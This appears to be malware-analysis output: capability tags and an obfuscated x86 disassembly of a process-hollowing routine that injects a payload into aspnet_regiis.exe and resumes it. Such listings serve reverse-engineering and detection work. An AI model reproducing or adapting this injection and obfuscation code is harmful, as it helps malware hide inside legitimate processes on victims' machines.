Function at 0x10002960
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x110
mov eax, dword [0x1006a000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x118], 0x618fa01e
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
sub eax, 0x800dc4e9
je 0x10009861
jmp 0x1000299c
mov eax, dword [ebp - 0x11c]
sub eax, 0x800fcbac
je 0x100050e2
jmp 0x100029b2
mov eax, dword [ebp - 0x11c]
sub eax, 0x80afaf30
je 0x10006beb
jmp 0x100029c8
mov eax, dword [ebp - 0x11c]
sub eax, 0x8216bcf5
je 0x10009014
jmp 0x100029de
mov eax, dword [ebp - 0x11c]
sub eax, 0x8245943b
je 0x10008820
jmp 0x100029f4
mov eax, dword [ebp - 0x11c]
sub eax, 0x82b2280b
je 0x10009dff
jmp 0x10002a0a
mov eax, dword [ebp - 0x11c]
sub eax, 0x82ddaeb4
je 0x10009129
jmp 0x10002a20
mov eax, dword [ebp - 0x11c]
sub eax, 0x83672b40
je 0x100074c3
jmp 0x10002a36
mov eax, dword [ebp - 0x11c]
sub eax, 0x8368416c
je 0x100080da
jmp 0x10002a4c
mov eax, dword [ebp - 0x11c]
sub eax, 0x839ef5dc
je 0x10008d62
jmp 0x10002a62
mov eax, dword [ebp - 0x11c]
sub eax, 0x8459ca1c
je 0x10009281
jmp 0x10002a78
mov eax, dword [ebp - 0x11c]
sub eax, 0x851cf33f
je 0x10008777
jmp 0x10002a8e
mov eax, dword [ebp - 0x11c]
sub eax, 0x861bd125
je 0x1000779c
jmp 0x10002aa4
mov eax, dword [ebp - 0x11c]
sub eax, 0x8642c774
je 0x10007af2
jmp 0x10002aba
mov eax, dword [ebp - 0x11c]
sub eax, 0x88187f2c
je 0x100055aa
jmp 0x10002ad0
mov eax, dword [ebp - 0x11c]
sub eax, 0x88db7ab3
je 0x1000556e
jmp 0x10002ae6
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b0a32c8
je 0x10005b69
jmp 0x10002afc
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b776c35
je 0x10007123
jmp 0x10002b12
mov eax, dword [ebp - 0x11c]
sub eax, 0x8cc5a2c9
je 0x10006d77
jmp 0x10002b28
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d5d31e7
je 0x10005ae9
jmp 0x10002b3e
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d8382a9
je 0x100058ed
jmp 0x10002b54
mov eax, dword [ebp - 0x11c]
sub eax, 0x8dd6b942
je 0x100054b9
jmp 0x10002b6a
mov eax, dword [ebp - 0x11c]
sub eax, 0x8dea4ab7
je 0x100078d5
jmp 0x10002b80
mov eax, dword [ebp - 0x11c]
sub eax, 0x8e6152f7
je 0x100096ec
jmp 0x10002b96
mov eax, dword [ebp - 0x11c]
sub eax, 0x8e7950f9
je 0x10007827
jmp 0x10002bac
mov eax, dword [ebp - 0x11c]
sub eax, 0x8ec831dc
je 0x10007994
jmp 0x10002bc2
mov eax, dword [ebp - 0x11c]
sub eax, 0x8f90762a
je 0x10008e06
jmp 0x10002bd8
mov eax, dword [ebp - 0x11c]
sub eax, 0x8f930f7c
je 0x1000a666
jmp 0x10002bee
mov eax, dword [ebp - 0x11c]
sub eax, 0x900f13c5
je 0x1000a3a6
jmp 0x10002c04
mov eax, dword [ebp - 0x11c]
sub eax, 0x9179f3e3
je 0x100061a3
jmp 0x10002c1a
mov eax, dword [ebp - 0x11c]
sub eax, 0x92dd0429
je 0x1000929f
jmp 0x10002c30
mov eax, dword [ebp - 0x11c]
sub eax, 0x92fb239b
je 0x10006361
jmp 0x10002c46
mov eax, dword [ebp - 0x11c]
sub eax, 0x93220900
je 0x1000a5f1
jmp 0x10002c5c
mov eax, dword [ebp - 0x11c]
sub eax, 0x93467496
je 0x100081dd
jmp 0x10002c72
mov eax, dword [ebp - 0x11c]
sub eax, 0x9370c62b
je 0x100081ce
jmp 0x10002c88
mov eax, dword [ebp - 0x11c]
sub eax, 0x9409fb6b
je 0x10005214
jmp 0x10002c9e
mov eax, dword [ebp - 0x11c]
sub eax, 0x94468cf6
je 0x1000603d
jmp 0x10002cb4
mov eax, dword [ebp - 0x11c]
sub eax, 0x94728181
je 0x10007612
jmp 0x10002cca
mov eax, dword [ebp - 0x11c]
sub eax, 0x94ea0b22
je 0x10007c33
jmp 0x10002ce0
mov eax, dword [ebp - 0x11c]
sub eax, 0x95d8bed0
je 0x1000836d
jmp 0x10002cf6
mov eax, dword [ebp - 0x11c]
sub eax, 0x96230856
je 0x1000529d
jmp 0x10002d0c
mov eax, dword [ebp - 0x11c]
sub eax, 0x96975631
je 0x10005c1b
jmp 0x10002d22
mov eax, dword [ebp - 0x11c]
sub eax, 0x970a460e
je 0x10007174
jmp 0x10002d38
mov eax, dword [ebp - 0x11c]
sub eax, 0x97b716e1
je 0x1000a961
jmp 0x10002d4e
mov eax, dword [ebp - 0x11c]
sub eax, 0x97d0e01a
je 0x10009771
jmp 0x10002d64
mov eax, dword [ebp - 0x11c]
sub eax, 0x989abe2e
je 0x1000a242
jmp 0x10002d7a
mov eax, dword [ebp - 0x11c]
sub eax, 0x9938fafd
je 0x100071ee
jmp 0x10002d90
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a093170
je 0x10007f5e
jmp 0x10002da6
mov eax, dword [ebp - 0x11c]
sub eax, 0x9ab1f105
je 0x10005f59
jmp 0x10002dbc
mov eax, dword [ebp - 0x11c]
sub eax, 0x9abb2114
je 0x1000777d
jmp 0x10002dd2
mov eax, dword [ebp - 0x11c]
sub eax, 0x9ae2dbfc
je 0x100072eb
jmp 0x10002de8
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b29d15e
je 0x10004eb6
jmp 0x10002dfe
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b314251
je 0x1000808f
jmp 0x10002e14
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b3a383f
je 0x10006aba
jmp 0x10002e2a
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b3c8cd8
je 0x1000a3b5
jmp 0x10002e40
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b6f56b4
je 0x1000a3e4
jmp 0x10002e56
mov eax, dword [ebp - 0x11c]
sub eax, 0x9bbf888a
je 0x10006672
jmp 0x10002e6c
mov eax, dword [ebp - 0x11c]
sub eax, 0x9bf0fc66
je 0x10006bce
jmp 0x10002e82
mov eax, dword [ebp - 0x11c]
sub eax, 0x9c2a7255
je 0x100052bc
jmp 0x10002e98
mov eax, dword [ebp - 0x11c]
sub eax, 0x9e31f246
je 0x10007365
jmp 0x10002eae
mov eax, dword [ebp - 0x11c]
sub eax, 0x9e651e58
je 0x1000a736
jmp 0x10002ec4
mov eax, dword [ebp - 0x11c]
sub eax, 0x9fcf6581
je 0x1000a884
jmp 0x10002eda
mov eax, dword [ebp - 0x11c]
sub eax, 0xa0fdb37c
je 0x10009bb4
jmp 0x10002ef0
mov eax, dword [ebp - 0x11c]
sub eax, 0xa2ddc985
je 0x1000a07d
jmp 0x10002f06
mov eax, dword [ebp - 0x11c]
sub eax, 0xa3463bd3
je 0x10006ae8
mov dword [ebp - 0x118], 0x1ce33a55
jmp 0x1000a96b
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
add edx, 0x33d863d4
sub edx, 1
sub edx, 0x33d863d4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaba7f09a
mov ecx, 0x4cf4414e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dword [ebp - 0x118], 0x67c24bc1
jmp 0x1000a96b
movss xmm0, dword [0x10017380]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x118], 0x9c2a7255
jmp 0x1000a96b
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
add edx, 0x79f05f03
sub edx, 1
sub edx, 0x79f05f03
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6f216409
mov ecx, 0x3a919b58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x10017224]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10017220]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x1001721c]
movss dword [ebp - 0xf8], xmm0
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
sub edx, 0xaf7964c6
sub edx, 1
add edx, 0xaf7964c6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x56d2a610
mov ecx, 0x7569ee3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dl, 1
mov eax, 0x5606bb71
mov ecx, 0x41c20f98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x10017378]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x118], 0x5606bb71
jmp 0x1000a96b
movss xmm0, dword [0x10017364]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x118], 0xcfc1f255
jmp 0x1000a96b
movss xmm0, dword [0x1001720c]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x10017208]
movss dword [ebp - 0xfc], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
add edx, 0x9fef56e5
sub edx, 1
sub edx, 0x9fef56e5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbeca81ce
mov ecx, 0xe36efe8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0x1ef6b6d1
sub edx, 1
add edx, 0x1ef6b6d1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0d460f
mov ecx, 0xcba85b69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dl, 1
mov eax, 0x1cd53dbb
mov ecx, 0x17cd979d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
sub edx, 0x892e698b
sub edx, 1
add edx, 0x892e698b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc3d361c3
mov ecx, 0xf82bb8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x10017334]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x118], 0xd70af8bb
jmp 0x1000a96b
movss xmm0, dword [0x10017328]
movss dword [ebp - 0xfc], xmm0
movss xmm0, dword [0x10017324]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x118], 0x48df80bd
jmp 0x1000a96b
mov dl, 1
mov eax, 0xaa30400c
mov ecx, 0x4e9844a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x10017310]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x1001730c]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x118], 0xcd246fae
jmp 0x1000a96b
mov dword [ebp - 0x118], 0xc8f6b267
jmp 0x1000a96b
mov dl, 1
mov eax, 0xc07e195f
mov ecx, 0x80afaf30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x100172d8]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100172d4]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x118], 0x307f93e2
jmp 0x1000a96b
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
add edx, 0x1b4f5dc1
sub edx, 1
sub edx, 0x1b4f5dc1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x900f13c5
mov ecx, 0xe5de631b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
add edx, 0xcacbd49b
sub edx, 1
sub edx, 0xcacbd49b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb485da14
mov ecx, 0x970a460e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dl, 1
mov eax, 0x79402957
mov ecx, 0x2d582d17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dl, 1
mov eax, 0x9ae2dbfc
mov ecx, 0x764aa6c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x100172a0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x118], 0xb1bd9aa6
jmp 0x1000a96b
movss xmm0, dword [0x10017294]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x118], 0xb36ffe51
jmp 0x1000a96b
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x99f33d3
mov ecx, 0x5fc7ee0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0xbefce1f2
sub edx, 1
add edx, 0xbefce1f2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d3c6aa4
mov ecx, 0x572a69dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x10017288]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x118], 0x861bd125
jmp 0x1000a96b
mov dl, 1
mov eax, 0xc9d44dfa
mov ecx, 0xcff80533
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x100171b0]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x100171ac]
movss dword [ebp - 0x10c], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0xced3da9c
sub edx, 1
add edx, 0xced3da9c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf12f933d
mov ecx, 0xdc182704
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb49f51d0
mov ecx, 0x5e2b5000
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dl, 1
mov eax, 0x49d0fa17
mov ecx, 0xcc382781
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x10017274]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10017270]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x118], 0xd1a261bc
jmp 0x1000a96b
movss xmm0, dword [0x1001726c]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10017268]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x118], 0x5af5c6a8
jmp 0x1000a96b
mov dword [ebp - 0x118], 0x324864c5
jmp 0x1000a96b
mov dword [ebp - 0x118], 0xd7b36326
jmp 0x1000a96b
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe0569a0f
mov ecx, 0x29e651c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dword [ebp - 0x118], 0x93467496
jmp 0x1000a96b
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
add edx, 0x6ea5cfd3
sub edx, 1
sub edx, 0x6ea5cfd3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa9ec1f44
mov ecx, 0x2c885c0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
movss xmm0, dword [0x10017190]
movss dword [ebp - 0x110], xmm0
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0xf5231c81
sub edx, 1
add edx, 0xf5231c81
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d683b74
mov ecx, 0x3d1519b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000bb90
add esp, 0xc
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000bb90
add esp, 0xc
mov dword [ebp - 0x118], 0xf6550db0
jmp 0x1000a96b
mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x118], 0x5a7b1635
jmp 0x1000a96b
mov eax, dword [ebp - 0x74]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0x78]
mov eax, 0x7de94e32
mov ecx, 0x74bb3b84
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [ebp - 0xe4]
mov esi, dword [eax]
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x68]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100028a0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xb8]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xa522df78
mov ecx, 0xcd23757f
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
sub ecx, 0x3569fa4e
add ecx, eax
add ecx, 0x3569fa4e
mov eax, dword [ebp - 0x64]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x59], al
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
add edx, 0xbd60c8e3
sub edx, 1
sub edx, 0xbd60c8e3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee3ad500
mov ecx, 0x2ed5f33e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x118], 0xa522df78
jmp 0x1000a96b
mov dl, byte [ebp - 0x4a]
mov eax, 0x7d97a26c
mov ecx, 0x92dd0429
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
add edx, 0x9822bdac
sub edx, 1
sub edx, 0x9822bdac
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x84b23c4
mov ecx, 0x61716c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov eax, dword [ebp - 0x38]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x49078ef4
or eax, edx
or ecx, 0x49078ef4
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x31], al
mov eax, dword [0x1006b328]
mov ecx, dword [0x1006b324]
mov edx, eax
sub edx, 0xa59348ca
sub edx, 1
add edx, 0xa59348ca
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6e2b3dcf
mov ecx, 0x97d0e01a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dl, byte [ebp - 0x31]
mov eax, 0xe05ece27
mov ecx, 0x5d58270f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov dword [ebp - 0x118], 0xa5f7151d
jmp 0x1000a96b
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov dword [ebp - 0x118], 0xe106f7f4
jmp 0x1000a96b
mov ecx, dword [0x1006b328]
mov eax, dword [0x1006b324]
mov edx, ecx
add edx, 0xf32ba856
sub edx, 1
sub edx, 0xf32ba856
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd8843219
mov ecx, 0x4e5007b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000a96b
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000af90
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x100171fc]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x118], 0x6c497815
jmp 0x1000a96b
mov dword [ebp - 0x118], 0x8cc5a2c9
jmp 0x1000a96b
movss xmm0, dword [0x100171d0]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100171cc]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x118], 0x4d6d82d7
jmp 0x1000a96b
mov dword [ebp - 0x118], 0xc8b7a450
jmp 0x1000a96b
mov dword [ebp - 0x118], 0x3b5a231c
jmp 0x1000a96b
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov dword [ebp - 0x118], 0xc7aea85
jmp 0x1000a96b
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x118], 0xe93d34f7
jmp 0x1000a96b
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
add ecx, 0xdf890bc6
add ecx, 8
sub ecx, 0xdf890bc6
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
add ecx, 0x71da70d6
add ecx, eax
sub ecx, 0x71da70d6
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x118], 0x3cb41d72
jmp 0x1000a96b
mov dword [ebp - 0x118], 0x6b5831b7
jmp 0x10002980